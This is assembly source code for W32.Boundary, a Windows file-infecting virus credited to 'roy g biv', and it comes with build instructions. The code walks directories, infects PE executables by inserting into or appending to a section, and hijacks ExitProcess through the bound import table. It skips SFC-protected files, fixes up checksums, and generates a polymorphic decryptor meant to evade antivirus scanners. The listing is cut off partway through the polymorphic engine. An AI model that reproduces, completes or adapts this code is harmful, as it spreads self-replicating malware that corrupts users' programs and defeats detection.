| ||||||||||||||||
W32.Boundary
by roy g biv
See also the project folder comment ;) W32.Boundary by roy g biv some of its features: - parasitic direct action infector of PE exe (but not looking at suffix) - infects files in current directory and all subdirectories - directory traversal is linked-list instead of recursive to reduce stack size - reloc section inserter/last section appender - new kind of EPO using bound import table: - auto function type selection (Unicode under NT/2000/XP, ANSI under 9x/Me) - uses CRCs instead of API names - uses SEH for common code exit - no infect files with data outside of image (eg self-extractors) - no infect files protected by SFC/SFP (including under Windows XP) - uses SEH walker to find kernel address (no hard-coded addresses) - correct file checksum without using imagehlp.dll :) 100% correct algorithm --- optimisation tip: Windows appends ".dll" automatically, so this works: push "cfs" push esp call LoadLibraryA --- to build this thing: tasm ---- tasm32 /ml /m3 boundary tlink32 /B:400000 /x boundary,,,import32 Virus is not self-modifying, so no need to alter section attributes --- We're in the middle of a phase transition: a butterfly flapping its wings at just the right moment could cause a storm to happen. -I'm trying to understand- I'm at a moment in my life- I don't know where to flap my wings. (Danny Hillis) (; .386 .model flat extern MessageBoxA:proc extern ExitProcess:proc .data include boundary.inc dropper label near mov edx, krncrc_count mov ebx, offset krnnames mov edi, offset krncrcbegin call create_crcs mov edx, 1 mov ebx, offset sfcnames mov edi, offset sfccrcbegin call create_crcs push CODESIZE mov ebx, esp fld1 fild dword ptr [ebx] fyl2x fistp dword ptr [ebx] pop ecx inc ecx push 1 pop eax shl eax, cl sub eax, 4 mov dword ptr [offset codesize_patch + 1], eax ;----------------------------------------------------------------------------- ;everything before this point is dropper code ;----------------------------------------------------------------------------- align 4 boundary_inf label near align push offset do_message ;replaced by ExitProcess xor esi, esi lods dword ptr fs:[esi] push eax mov dword ptr fs:[esi - 4], esp inc eax walk_seh label near dec eax xchg esi, eax lods dword ptr [esi] inc eax jne walk_seh enter ((size findlist - 5) and -4) + ((statelen + 1) shl 2), 0 ;Windows NT/2000/XP enables alignment check exception ;so some APIs fail if buffer is not dword aligned ;-5 to align at 2 dwords earlier ;because EBP saved automatically ;and other register saved next ;statelen for RNG cache push eax ;zero findprev in findlist lods dword ptr [esi] call init_findmz ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- krncrcbegin label near ;place < 80h bytes from call for smaller code dd (krncrc_count + 1) dup (0) krncrcend label near dd offset check_sfc - offset krncrcend + 4 db "Boundary - roy g biv" ;at the edge of reality init_findmz label near inc eax xchg edi, eax find_mzhdr label near ;----------------------------------------------------------------------------- ;do not use hard-coded kernel address values because it is not portable ;Microsoft used all different values for 95, 98, NT, 2000, Me, XP ;they will maybe change again for every new release ;----------------------------------------------------------------------------- dec edi ;sub 64kb xor di, di ;64kb align call is_pehdr jne find_mzhdr mov ebx, edi pop edi ;----------------------------------------------------------------------------- ;parse export table ;----------------------------------------------------------------------------- mov esi, dword ptr [esi + pehdr.peexport.dirrva - pehdr.pecoff] lea esi, dword ptr [ebx + esi + peexp.expadrrva] lods dword ptr [esi] ;Export Address Table RVA lea edx, dword ptr [ebx + eax] lods dword ptr [esi] ;Name Pointer Table RVA lea ecx, dword ptr [ebx + eax] lods dword ptr [esi] ;Ordinal Table RVA lea ebp, dword ptr [ebx + eax] mov esi, ecx push_export label near push ecx get_export label near lods dword ptr [esi] push ebx add ebx, eax ;Name Pointer VA or eax, -1 crc_outer label near xor al, byte ptr [ebx] push 8 pop ecx crc_inner label near add eax, eax jnb crc_skip xor eax, 4c11db7h ;use generator polymonial (see IEEE 802) crc_skip label near loop crc_inner sub cl, byte ptr [ebx] ;carry set if not zero inc ebx ;carry not altered by inc jb crc_outer pop ebx cmp dword ptr [edi], eax jne get_export ;----------------------------------------------------------------------------- ;exports must be sorted alphabetically, otherwise GetProcAddress() would fail ;this allows to push addresses onto the stack, and the order is known ;----------------------------------------------------------------------------- pop ecx mov eax, esi sub eax, ecx ;Name Pointer Table VA shr eax, 1 movzx eax, word ptr [ebp + eax - 2] ;get export ordinal mov eax, dword ptr [eax * 4 + edx] ;get export RVA add eax, ebx push eax scas dword ptr [edi] cmp dword ptr [edi], 0 jne push_export add edi, dword ptr [edi + 4] jmp edi ;----------------------------------------------------------------------------- ;get SFC support if available ;----------------------------------------------------------------------------- check_sfc label near call load_sfc db "sfc_os", 0 ;Windows XP (forwarder chain from sfc.dll) load_sfc label near call dword ptr [esp + krncrcstk.kLoadLibraryA] test eax, eax jne found_sfc push 'cfs' ;Windows Me/2000 push esp call dword ptr [esp + 4 + krncrcstk.kLoadLibraryA] pop ecx test eax, eax je sfcapi_push found_sfc label near call init_findmz ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- sfccrcbegin label near ;place < 80h bytes from call for smaller code dd 0, 0 sfccrcend label near dd offset swap_create - offset sfccrcend + 4 sfcapi_push label near push eax swap_create label near ;----------------------------------------------------------------------------- ;swap CreateFileW and CreateFileMappingA because of alphabet order ;----------------------------------------------------------------------------- mov ebx, esp mov eax, dword ptr [ebx + krncrcstk.kExitProcess] mov dword ptr [edi + offset offset boundary_inf - swap_create + 1], eax lea esi, dword ptr [ebx + krncrcstk.kCreateFileMappingA] mov edi, esi lods dword ptr [esi] movs dword ptr [edi], dword ptr [esi] stos dword ptr [edi] ;----------------------------------------------------------------------------- ;determine platform and dynamically select function types (ANSI or Unicode) ;so for Windows NT/2000/XP this code handles files that no ANSI function can open ;----------------------------------------------------------------------------- call dword ptr [ebx + krncrcstk.kGetVersion] shr eax, 1fh ;treat 9x and Win32s as ANSI ;safer than using AreFileApisANSI() lea ebp, dword ptr [eax * 4 + ebx] lea esi, dword ptr [ebx + size krncrcstk] call dword ptr [ebx + krncrcstk.kGetTickCount] lea edi, dword ptr [esi + ((size findlist + 3) and -4)] call randinit ;----------------------------------------------------------------------------- ;non-recursive directory traverser ;----------------------------------------------------------------------------- scan_dir proc near ;ebp -> platform APIs, esi -> findlist push '*' ;ANSI-compatible Unicode findmask mov eax, esp lea ebx, dword ptr [esi + findlist.finddata] push ebx push eax call dword ptr [ebp + krncrcstk.kFindFirstFileW] pop ecx mov dword ptr [esi + findlist.findhand], eax inc eax je find_prev ;you must always step forward from where you stand test_dirfile label near mov eax, dword ptr [ebx + WIN32_FIND_DATA.dwFileAttributes] lea edi, dword ptr [esi + findlist.finddata.cFileName] test al, FILE_ATTRIBUTE_DIRECTORY je test_file cmp byte ptr [edi], '.' ;ignore . and .. (but also .* directories under NT/2000/XP) je find_next ;----------------------------------------------------------------------------- ;enter subdirectory, and allocate another list node ;----------------------------------------------------------------------------- push edi call dword ptr [ebp + krncrcstk.kSetCurrentDirectoryW] xchg ecx, eax jecxz find_next push size findlist push GMEM_FIXED call dword ptr [esp + krncrcstk.kGlobalAlloc + 8] xchg ecx, eax jecxz step_updir xchg esi, ecx mov dword ptr [esi + findlist.findprev], ecx jmp scan_dir find_next label near lea ebx, dword ptr [esi + findlist.finddata] push ebx mov edi, dword ptr [esi + findlist.findhand] push edi call dword ptr [ebp + krncrcstk.kFindNextFileW] test eax, eax jne test_dirfile ;----------------------------------------------------------------------------- ;close find, and free list node if not list head ;----------------------------------------------------------------------------- mov ebx, esp push edi call dword ptr [ebx + krncrcstk.kFindClose] find_prev label near mov ecx, dword ptr [esi + findlist.findprev] jecxz boundary_exit push esi mov esi, ecx call dword ptr [ebx + krncrcstk.kGlobalFree] step_updir label near ;----------------------------------------------------------------------------- ;the ANSI string ".." can be used, even on Unicode platforms ;----------------------------------------------------------------------------- push '..' org $ - 1 ;select top 8 bits of push boundary_exit label near int 3 ;game over push esp call dword ptr [ebx + krncrcstk.kSetCurrentDirectoryA] pop eax jmp find_next test_file label near ;----------------------------------------------------------------------------- ;get full path and convert to Unicode if required (SFC requires Unicode path) ;----------------------------------------------------------------------------- push eax ;save original file attributes for close mov eax, ebp enter MAX_PATH * 2, 0 mov ecx, esp push eax push esp push ecx push MAX_PATH push edi call dword ptr [eax + krncrcstk.kGetFullPathNameW] xchg edi, eax pop eax xor ebx, ebx call dword ptr [ebp + 8 + krncrcstk.kGetVersion] test eax, eax jns call_sfcapi mov ecx, esp xchg ebp, eax enter MAX_PATH * 2, 0 xchg ebp, eax mov eax, esp push MAX_PATH push eax inc edi push edi push ecx push ebx ;use default translation push ebx ;CP_ANSI call dword ptr [ebp + 8 + krncrcstk.kMultiByteToWideChar] call_sfcapi label near ;----------------------------------------------------------------------------- ;don't touch protected files ;----------------------------------------------------------------------------- mov ecx, dword ptr [ebp + 8 + krncrcstk.kSfcIsFileProtected] xor eax, eax ;fake success in case of no SFC jecxz leave_sfc push esp push ebx call ecx leave_sfc label near leave test eax, eax jne restore_attr call set_fileattr push ebx push ebx push OPEN_EXISTING push ebx push ebx push GENERIC_READ or GENERIC_WRITE push edi call dword ptr [ebp + krncrcstk.kCreateFileW] xchg ebx, eax call test_infect db 81h ;mask CALL call infect_file ;Super Nashwan power ;) lea eax, dword ptr [esi + findlist.finddata.ftLastWriteTime] push eax sub eax, 8 push eax push 0 push ebx call dword ptr [esp + 4 + krncrcstk.kSetFileTime + 10h] push ebx call dword ptr [esp + 4 + krncrcstk.kCloseHandle + 4] restore_attr label near pop ebx ;restore original file attributes call set_fileattr jmp find_next scan_dir endp ;----------------------------------------------------------------------------- ;look for MZ and PE file signatures ;----------------------------------------------------------------------------- is_pehdr proc near ;edi -> map view cmp word ptr [edi], 'ZM' ;Windows does not check 'MZ' jne pehdr_ret mov esi, dword ptr [edi + mzhdr.mzlfanew] add esi, edi lods dword ptr [esi] ;SEH protects against bad lfanew value add eax, -'EP' ;anti-heuristic test filetype ;) and clear EAX pehdr_ret label near ret ;if PE file, then eax = 0, esi -> COFF header, Z flag set is_pehdr endp ;----------------------------------------------------------------------------- ;reset/set read-only file attribute ;----------------------------------------------------------------------------- set_fileattr proc near ;ebx = file attributes, esi -> findlist, ebp -> platform APIs push ebx lea edi, dword ptr [esi + findlist.finddata.cFileName] push edi call dword ptr [ebp + krncrcstk.kSetFileAttributesW] ret ;edi -> filename db "22/06/06" set_fileattr endp ;----------------------------------------------------------------------------- ;test if file is infectable (not protected, PE, x86, non-system, not infected, etc) ;----------------------------------------------------------------------------- test_infect proc near ;ebx = file handle, esi = findlist, ebp -> platform APIs call map_view mov ebp, esi call is_pehdr jne inftest_ret lods dword ptr [esi] cmp ax, IMAGE_FILE_MACHINE_I386 jne inftest_ret ;only Intel 386+ shr eax, 0dh ;move high 16 bits into low 16 bits and multiply by 8 lea edx, dword ptr [eax * 4 + eax] ;complete multiply by 28h (size pesect) mov eax, dword ptr [esi + pehdr.pecoff.peflags - pehdr.pecoff.petimedate] ;----------------------------------------------------------------------------- ;IMAGE_FILE_BYTES_REVERSED_* bits are rarely set correctly, so do not test them ;no .dll files this time ;----------------------------------------------------------------------------- test ah, (IMAGE_FILE_SYSTEM or IMAGE_FILE_DLL or IMAGE_FILE_UP_SYSTEM_ONLY) shr 8 jne inftest_ret ;----------------------------------------------------------------------------- ;32-bit executable file... ;----------------------------------------------------------------------------- and ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE cmp ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE jne inftest_ret ;cannot use xor+jpo because 0 is also jpe ;----------------------------------------------------------------------------- ;the COFF magic value is not checked because Windows ignores it anyway ;IMAGE_FILE_MACHINE_IA64 machine type is the only reliable way to detect PE32+ ;----------------------------------------------------------------------------- add esi, pehdr.pesubsys - pehdr.pecoff.petimedate lods dword ptr [esi] cmp ax, IMAGE_SUBSYSTEM_WINDOWS_CUI jnbe inftest_ret cmp al, IMAGE_SUBSYSTEM_WINDOWS_GUI ;al not ax, because ah is known now to be 0 jb inftest_ret shr eax, 1eh ;test eax, IMAGE_DLLCHARACTERISTICS_WDM_DRIVER shl 10h jb inftest_ret ;----------------------------------------------------------------------------- ;avoid files which seem to contain attribute certificates ;because one of those certificates might be a digital signature ;----------------------------------------------------------------------------- cmp dword ptr [esi + pehdr.pesecurity.dirrva - pehdr.pestackmax], eax jnbe inftest_ret ;----------------------------------------------------------------------------- ;cannot use the NumberOfRvaAndSizes field to calculate the Optional Header size ;the Optional Header can be larger than the offset of the last directory ;remember: even if you have not seen it does not mean that it does not happen :) ;----------------------------------------------------------------------------- movzx eax, word ptr [esi + pehdr.pecoff.peopthdrsize - pehdr.pestackmax] add eax, edx push esi lea esi, dword ptr [esi + eax - pehdr.pestackmax + pehdr.pemagic - size pesect + pesect.sectrawsize] lods dword ptr [esi] add eax, dword ptr [esi] cmp dword ptr [ebp + findlist.finddata.dwFileSizeLow], eax xchg esi, eax pop esi jne inftest_ret ;file contains appended data mov ebx, dword ptr [esi + pehdr.pefilealign - pehdr.pestackmax] lea ecx, dword ptr [ebx + ADDSIZE - 1] neg ebx and ecx, ebx add dword ptr [ebp + findlist.finddata.dwFileSizeLow], ecx mov edx, dword ptr [esp + mapsehstk.mapsehregs + 0ch] ;retrieve -> platform APIs mov edx, dword ptr [edx + krncrcstk.kExitProcess + 0ch] call gather_info adc dword ptr [esp + mapsehstk.mapsehinfret], 0 ;skip call mask if found inftest_ret label near int 3 gather_info proc near mov ecx, dword ptr [esi + pehdr.pebound.dirrva - pehdr.pestackmax] jecxz gather_ret push edx xchg esi, eax xchg ebp, eax add ecx, edi ;it's really a RVA but it always exists before first section mov edx, ecx parse_bound label near movzx eax, word ptr [edx + pebind.bindrva] test eax, eax je gather_pop add edx, size pebind mov eax, dword ptr [ecx + eax] or eax, " " cmp eax, "nrek" jne parse_bound mov ecx, dword ptr [ebp + pehdr.peimport.dirrva - pehdr.pestackmax] call rva2raw parse_import label near push ecx mov ecx, dword ptr [edi + ecx + peimp.impdllrva] call rva2raw mov eax, dword ptr [edi + ecx] pop ecx add ecx, size peimp or eax, " " cmp eax, "nrek" jne parse_import mov ecx, dword ptr [edi + ecx - size peimp + peimp.impiatrva] call rva2raw xor eax, eax add edi, ecx or ecx, -1 push edi repne scas dword ptr [edi] pop edi pop eax not ecx repne scas dword ptr [edi] jne gather_ret stc ret gather_pop label near pop eax gather_ret label near ret gather_info endp ;----------------------------------------------------------------------------- ;create file map, and map view if successful ;----------------------------------------------------------------------------- map_view proc near ;ebx = file handle, esi -> findlist, ebp -> platform APIs mov eax, dword ptr [esi + findlist.finddata.dwFileSizeLow] cdq push eax mov ecx, esp push eax ;MapViewOfFile push edx ;MapViewOfFile push edx ;MapViewOfFile push FILE_MAP_WRITE ;Windows 9x/Me does not support FILE_MAP_ALL_ACCESS push edx push eax push edx push PAGE_READWRITE push edx push ebx call dword ptr [ecx + size mapstack + krncrcstk.kCreateFileMappingA] ;ANSI map is allowed because of no name push eax xchg edi, eax call dword ptr [esp + size mapstack + krncrcstk.kMapViewOfFile + 14h] pop ecx xchg edi, eax ;should succeed even if file cannot be opened pushad call unmap_seh pop eax pop eax pop esp xor eax, eax pop dword ptr fs:[eax] pop eax popad ;SEH destroys all registers push eax push edi call dword ptr [esp + size mapstack + krncrcstk.kUnmapViewOfFile + 4] call dword ptr [esp + size mapstack + krncrcstk.kCloseHandle] pop eax ret unmap_seh proc near cdq push dword ptr fs:[edx] mov dword ptr fs:[edx], esp jmp dword ptr [esp + mapsehstk.mapsehsehret] unmap_seh endp map_view endp ;eax = map handle, ecx = new file size, edi = map view ;----------------------------------------------------------------------------- ;infect file ;algorithm: increase file size by large amount to confuse scanners that ; look at end of file ; if reloc table is not in last section (taken from relocation ; field in PE header, not section name), then append to last ; section. otherwise, move relocs down and insert code into ; space (to confuse people looking at end of file. they will ; see only relocation data and garbage or many zeroes) ; ExitProcess address is altered in import table. very simple ;----------------------------------------------------------------------------- infect_file label near ;esi -> findlist, edi = map view call map_view delta_label label near push ecx push edi mov ebx, dword ptr [edi + mzhdr.mzlfanew] lea ebx, dword ptr [ebx + edi + pehdr.pechksum] xor ecx, ecx imul cx, word ptr [ebx + pehdr.pecoff.pesectcount - pehdr.pechksum], size pesect add cx, word ptr [ebx + pehdr.pecoff.peopthdrsize - pehdr.pechksum] lea esi, dword ptr [ebx + ecx + pehdr.pemagic - pehdr.pechksum - size pesect + pesect.sectrawsize] lods dword ptr [esi] mov ecx, ADDSIZE mov edx, dword ptr [ebx + pehdr.pefilealign - pehdr.pechksum] push eax add eax, ecx dec edx add eax, edx not edx and eax, edx ;file align last section mov dword ptr [esi + pesect.sectrawsize - pesect.sectrawaddr], eax ;----------------------------------------------------------------------------- ;raw size is file aligned. virtual size is not required to be section aligned ;so if old virtual size is larger than new raw size, then size of image does ;not need to be updated, else virtual size must be large enough to cover the ;new code, and size of image is section aligned ;----------------------------------------------------------------------------- mov ebp, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr] cmp dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax jnb test_reloff mov dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax add eax, ebp mov edx, dword ptr [ebx + pehdr.pesectalign - pehdr.pechksum] dec edx add eax, edx not edx and eax, edx mov dword ptr [ebx + pehdr.peimagesize - pehdr.pechksum], eax ;----------------------------------------------------------------------------- ;if relocation table is not in last section, then append to last section ;otherwise, move relocations down and insert code into space ;----------------------------------------------------------------------------- test_reloff label near test byte ptr [ebx + pehdr.pecoff.peflags - pehdr.pechksum], IMAGE_FILE_RELOCS_STRIPPED jne copy_code cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ebp jb copy_code mov eax, dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr] add eax, ebp cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], eax jnb copy_code add dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ecx pop eax push esi add edi, dword ptr [esi] lea esi, dword ptr [edi + eax - 1] lea edi, dword ptr [esi + ecx] xchg ecx, eax std rep movs byte ptr [edi], byte ptr [esi] cld pop esi pop edi push edi push ecx xchg ecx, eax copy_code label near pop edx add ebp, edx xchg ebp, eax add edx, dword ptr [esi] add edi, edx add eax, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum] mov edx, dword ptr [esp + infectstk.infseh.mapsehinfret - 8] mov dword ptr [edx + offset hostva - offset delta_label], eax mov ebp, dword ptr [esp + infectstk.infseh.mapsehregs + 8] ;retrieve -> platform APIs push esi push esi pushad push PAGE_READWRITE push MEM_COMMIT push ADDSIZE + ENTERSIZE push 0 xchg edx, eax xchg ebp, eax call dword ptr [eax + krncrcstk.kVirtualAlloc + 0ch] lea esi, dword ptr [eax - esp_delta] lea edi, dword ptr [esi + ENTERSIZE] mov dword ptr [esp + 4], edi dec byte ptr [esi + locked] add ebp, offset random - offset delta_label call ebp and eax, 7ffh add eax, 1000 xor ecx, ecx loop_poly1 label near call poly dec eax jne loop_poly1 mov dword ptr [esp + 24h], edi decrypt_loop label near pushad call decrypt_seh pop eax pop eax pop esp xor eax, eax pop dword ptr fs:[eax] pop eax popad jmp decrypt_loop ;keep trying until success decrypt_seh label near push dword ptr fs:[eax] mov dword ptr fs:[eax], esp call make_decrypt xor byte ptr [esi + codebits + ((CODESIZE - 4) shr 5)], 1 shl (((CODESIZE shr 2) - 1) and 7) inc edx call decrypt_eip mov byte ptr [edi - 7], 0c3h xor eax, eax pop dword ptr fs:[eax] pop eax popad popad push eax push esi rep movs byte ptr [edi], byte ptr [esi] push MEM_RELEASE push ecx sub esi, ADDSIZE + ENTERSIZE - esp_delta push esi call dword ptr [ebp + krncrcstk.kVirtualFree + 0ch] pop esi pop ecx pop eax ;----------------------------------------------------------------------------- ;section attributes are always altered to executable because for Windows XP SP2 ;you can remove that bit, if you want, but we need the writable bit for decrypt ;----------------------------------------------------------------------------- or byte ptr [eax + pesect.sectflags - pesect.sectrawaddr + 3], (IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_WRITE) shr 18h mov edx, dword ptr [ebp + krncrcstk.kExitProcess + 0ch] pop ebp pop edi push edi sub ebp, esi add ebp, ecx push ebp lea esi, dword ptr [ebx + pehdr.pestackmax - pehdr.pechksum] call gather_info pop dword ptr [edi - 4] ;----------------------------------------------------------------------------- ;optional: GetProcAddress for every import, and store all Bound TimeDateStamps ;otherwise, there is chance that we will never execute ;----------------------------------------------------------------------------- pop edi ;----------------------------------------------------------------------------- ;CheckSumMappedFile() - simply sum of all words in file, then adc filesize ;----------------------------------------------------------------------------- xor ecx, ecx xchg dword ptr [ebx], ecx jecxz infect_ret xor eax, eax pop ecx push ecx inc ecx shr ecx, 1 clc calc_checksum label near adc ax, word ptr [edi] inc edi inc edi loop calc_checksum pop dword ptr [ebx] adc dword ptr [ebx], eax ;avoid common bug. ADC not ADD infect_ret label near int 3 ;common exit using SEH db "*4U2NV*" ;that is, unless you're reading this test_infect endp make_decrypt proc near push edi mov cl, (unknown - esp_delta) shr 2 lea edi, dword ptr [esi + esp_delta] rep stos dword ptr [edi] dec eax mov cl, 8 rep stos dword ptr [edi] inc eax mov cl, (BITSIZE shr 2) + 1 add edi, codebits - vals rep stos dword ptr [edi] pop edi dec byte ptr [esi + locked] mov byte ptr [esi + unknown + (REG_ESP * 4)], 0fch mov dword ptr [esi + vals + (REG_ESP * 4)], ecx or byte ptr [esi + codebits + ((CODESIZE - 4) shr 5)], 1 shl (((CODESIZE shr 2) - 1) and 7) call ebp and eax, 0ffh add eax, 800 xchg ecx, eax inc_poly0 label near inc ecx loop_poly0 label near ;----------------------------------------------------------------------------- ;loop until count is zero, then continue until all registers initialised ;count overloaded as non-random flag ;----------------------------------------------------------------------------- call poly loop loop_poly0 check_reg label near mov cl, 8 cdq or_unknown label near cmp cl, REG_ESP + 1 je skip_unknown or edx, dword ptr [ecx * 4 + esi + unknown - 4] skip_unknown label near loop or_unknown jne inc_poly0 mov edx, (CODESIZE shr 2) - 1 decrypt_eip label near push edx decryptor label near xor ebx, ebx ;if something to pop, and able to pop call ebp test al, 1 je check_unmarked cmp dword ptr [esi + stacked], ebx je check_unmarked cmp dword ptr [esi + esp_delta], ebx jne check_unmarked cmp byte ptr [esi + donesub], bl jne check_unmarked mov ax, 848fh stos word ptr [edi] get_popreg label near ;----------------------------------------------------------------------------- ;randomly pick one or two registers other than ESP, with random scale ;----------------------------------------------------------------------------- call ebp mov cl, al and eax, 7 cmp al, REG_ESP je get_popreg xchg ecx, eax stos byte ptr [edi] mov ebx, dword ptr [ecx * 4 + esi + vals] mov cl, al shr al, 3 and eax, 7 cmp al, 4 je skip_popscale mov eax, dword ptr [eax * 4 + esi + vals] shr cl, 6 shl eax, cl add ebx, eax skip_popscale label near dec dword ptr [esi + stacked] mov eax, dword ptr [esi + stacked] mov eax, dword ptr [eax * 4 + esi + stack] add eax, dword ptr [ebp + offset hostva - offset random] sub eax, ebx stos dword ptr [edi] add dword ptr [esi + vals + (REG_ESP * 4)], 4 dec dword ptr [esp] jne jmp_poly2 pop edx decrypt_ret label near ret check_unmarked label near ;----------------------------------------------------------------------------- ;if unmarked values left ;----------------------------------------------------------------------------- test edx, edx je jmp_poly2 cmp byte ptr [esi + donesub], bl jne check_locked cmp byte ptr [esi + prev_op], bl ;OP_ADD jne jmp_poly2 mov dword ptr [esi + esp_delta], ebx mov eax, dword ptr [esi + stacked] not eax shl eax, 2 mov bl, REG_ESP call adjust_val inc byte ptr [esi + donesub] jmp jmp_poly2 check_locked label near call ebp and al, 1 jne check_prevop ;----------------------------------------------------------------------------- ;if no register locked ;----------------------------------------------------------------------------- cmp byte ptr [esi + locked], 0ffh jne check_prevop get_lockedreg label near call ebp and eax, 7 cmp al, REG_ESP je get_lockedreg mov byte ptr [esi + locked], al xchg ebx, eax get_codebits label near call ebp codesize_patch label near and eax, 'rgb!' cmp eax, CODESIZE jnb get_codebits shr eax, 2 bts dword ptr [esi + codebits], eax jb get_codebits shl eax, 2 mov ecx, dword ptr [esi + stacked] mov dword ptr [ecx * 4 + esi + stack], eax mov eax, dword ptr [ebp + eax + offset boundary_inf - offset random] call adjust_val jmp_poly2 label near jmp do_poly2 check_prevop label near cmp byte ptr [esi + prev_op], bl ;OP_ADD jne do_poly2 mov ch, al mov cl, byte ptr [esi + locked] test al, al je make_move call ebp and al, 7 mov cl, al make_move label near mov ax, 3091h add ah, cl rol ax, 3 stos word ptr [edi] ;----------------------------------------------------------------------------- ;randomly pick one register to combine with ESP, with random scale ;----------------------------------------------------------------------------- call ebp and al, 0f8h or al, REG_ESP stos byte ptr [edi] mov cl, al shr al, 3 and eax, 7 cmp al, 4 je skip_pushscale mov ebx, dword ptr [eax * 4 + esi + vals] shr cl, 6 shl ebx, cl skip_pushscale label near add ebx, dword ptr [esi + esp_delta] neg ebx xchg ebx, eax stos dword ptr [edi] test ch, ch jne do_poly2 mov byte ptr [esi + locked], 0ffh dec byte ptr [esi + donesub] inc dword ptr [esi + stacked] dec edx do_poly2 label near call ebp and eax, 7 inc eax xchg ecx, eax loop_poly2 label near call poly loop loop_poly2 jmp decryptor make_decrypt endp poly proc near pushad pop edx ;discard edi push ebp get_polyreg label near ;----------------------------------------------------------------------------- ;avoid the locked register ;----------------------------------------------------------------------------- call ebp and eax, 7 cmp byte ptr [esi + locked], al je get_polyreg xchg ebx, eax poly_op label near ;----------------------------------------------------------------------------- ;avoid ADC/SBB if carry is not known, unless register is completely unknown ;----------------------------------------------------------------------------- call ebp and al, 38h jecxz poly_random cmp al, OP_ADC je poly_carry cmp al, OP_SBB jne poly_random poly_carry label near cmp byte ptr [esi + known_carry], bh jne poly_random cmp dword ptr [ebx * 4 + esi + unknown], -1 jne poly_op poly_random label near xchg edx, eax call ebp xchg ebp, eax cmp bl, REG_ESP jne poly_store mov eax, dword ptr [esi + esp_delta] cmp dl, OP_OR jne poly_tryand ;----------------------------------------------------------------------------- ;or esp, 0-3 (if original value, else or esp, 0) ;----------------------------------------------------------------------------- cmp eax, 1 sbb eax, eax and eax, 3 and ebp, eax jecxz poly_store add dword ptr [esi + esp_delta], ebp jmp poly_store poly_tryand label near cmp dl, OP_AND jne poly_trycmp ;----------------------------------------------------------------------------- ;and esp, fffffffc-ffffffff (if original value, else and esp, ffffffff) ;----------------------------------------------------------------------------- cmp eax, 1 cmc sbb eax, eax or eax, -4 or ebp, eax jecxz poly_store and dword ptr [esi + esp_delta], ebp jmp poly_store poly_trycmp label near ;----------------------------------------------------------------------------- ;operation is new if delta is 0, or if switching to or from XOR ;(allow all ADD/SUBs or XORs to combine) ;----------------------------------------------------------------------------- cmp dl, OP_CMP je poly_store test eax, eax je poly_prevop mov dh, byte ptr [esi + prev_op] cmp dh, dl je poly_store cmp dh, OP_XOR je poly_revert cmp dl, OP_XOR jne poly_store poly_revert label near ;----------------------------------------------------------------------------- ;revert ESP and allow future changes ;----------------------------------------------------------------------------- xchg ebp, eax mov dl, dh cmp dh, OP_XOR je poly_store mov dl, OP_SUB call dword ptr [esp] test al, 1 je poly_adcsbb ;----------------------------------------------------------------------------- ;randomly SUB->ADD ;----------------------------------------------------------------------------- xor dl, dl neg ebp poly_adcsbb label near cmp byte ptr [esi + known_carry], bh je poly_prevop call dword ptr [esp] and al, 8 je poly_prevop ;----------------------------------------------------------------------------- ;randomly ADC/SBB if carry is known ;----------------------------------------------------------------------------- and dl, al add dl, 10h sub ebp, dword ptr [esi + carry] poly_prevop label near mov byte ptr [esi + prev_op], dl poly_store label near mov ax, 0c081h add ah, bl add ah, dl stos word ptr [edi] xchg ebp, eax stos dword ptr [edi] xchg edx, eax xor ah, ah mov ebp, dword ptr [ebx * 4 + esi + vals] test al, al ;cmp al, OP_ADD je poly_add cmp al, OP_ADC jne poly_trysub add edx, dword ptr [esi + carry] cmp bl, REG_ESP jne poly_add mov byte ptr [esi + prev_op], bh ;OP_ADD poly_add label near add dword ptr [ebx * 4 + esi + vals], edx ;----------------------------------------------------------------------------- ;if all bits are known, carry can be determined exactly ;----------------------------------------------------------------------------- cmp dword ptr [ebx * 4 + esi + unknown], 0 jne poly_addesp mov ah, 1 cmp dword ptr [ebx * 4 + esi + vals], ebp setb al poly_addesp label near ;----------------------------------------------------------------------------- ;disable ESP undo when in random mode ;----------------------------------------------------------------------------- jecxz poly_jmpret cmp bl, REG_ESP jne poly_ret add dword ptr [esi + esp_delta], edx poly_jmpret label near jmp poly_ret poly_trysub label near cmp al, OP_SUB je poly_sub cmp al, OP_SBB jne poly_or add edx, dword ptr [esi + carry] poly_sub label near sub dword ptr [ebx * 4 + esi + vals], edx ;----------------------------------------------------------------------------- ;if all bits are known, carry can be determined exactly ;----------------------------------------------------------------------------- cmp dword ptr [ebx * 4 + esi + unknown], 0 jne poly_subesp mov ah, 1 cmp dword ptr [ebx * 4 + esi + vals], ebp setnbe al poly_subesp label near ;----------------------------------------------------------------------------- ;disable ESP undo when in random mode ;----------------------------------------------------------------------------- jecxz poly_ret cmp bl, REG_ESP jne poly_ret mov byte ptr [esi + prev_op], bh ;OP_ADD sub dword ptr [esi + esp_delta], edx jmp poly_ret poly_or label near cmp al, OP_OR jne poly_and or dword ptr [ebx * 4 + esi + vals], edx ;----------------------------------------------------------------------------- ;all set bits become known ;----------------------------------------------------------------------------- not edx jmp poly_unknown poly_and label near cmp al, OP_AND jne poly_xor and dword ptr [ebx * 4 + esi + vals], edx ;----------------------------------------------------------------------------- ;all clear bits become known ;----------------------------------------------------------------------------- poly_unknown label near and dword ptr [ebx * 4 + esi + unknown], edx jmp poly_known poly_xor label near cmp al, OP_XOR jne poly_cmp xor dword ptr [ebx * 4 + esi + vals], edx ;----------------------------------------------------------------------------- ;disable ESP undo when in random mode ;----------------------------------------------------------------------------- jecxz poly_known cmp bl, REG_ESP jne poly_known xor dword ptr [esi + esp_delta], edx poly_known label near xor al, al jmp poly_setcarry poly_cmp label near ;----------------------------------------------------------------------------- ;if all bits are known, carry can be determined exactly ;if top bit is known and different, carry can be 